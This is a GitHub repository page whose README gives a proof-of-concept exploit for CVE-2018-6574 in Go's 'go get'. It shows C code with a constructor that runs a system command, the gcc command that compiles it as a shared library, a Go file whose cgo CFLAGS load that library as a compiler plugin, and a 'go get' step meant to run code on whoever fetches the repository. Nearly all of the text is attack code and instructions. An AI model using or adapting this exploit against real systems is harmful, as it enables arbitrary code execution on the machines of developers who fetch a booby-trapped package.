Skip to content

ItsFadinG/CVE-2018-6574

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2018-6574 POC

Exploit POC For CVE-2018-6574

Compile

  1. Create an exploit file with the following:
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
    system("COMMAND");
}
  1. Compile it:
gcc -shared -o exploit.so -fPIC exploit.c
  1. Finally, you need the go code that will tell cgo to use your plugin:
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//      return f();
// }
//
// int fortytwo()
// {
//      return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. then host in a github and run it to gain command Execution:
go get github.com/your-repo/CVE-2018-6574-POC

VERSION

  • before 1.8.7
  • before 1.9.4
  • before Go 1.10rc2

Refrences

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published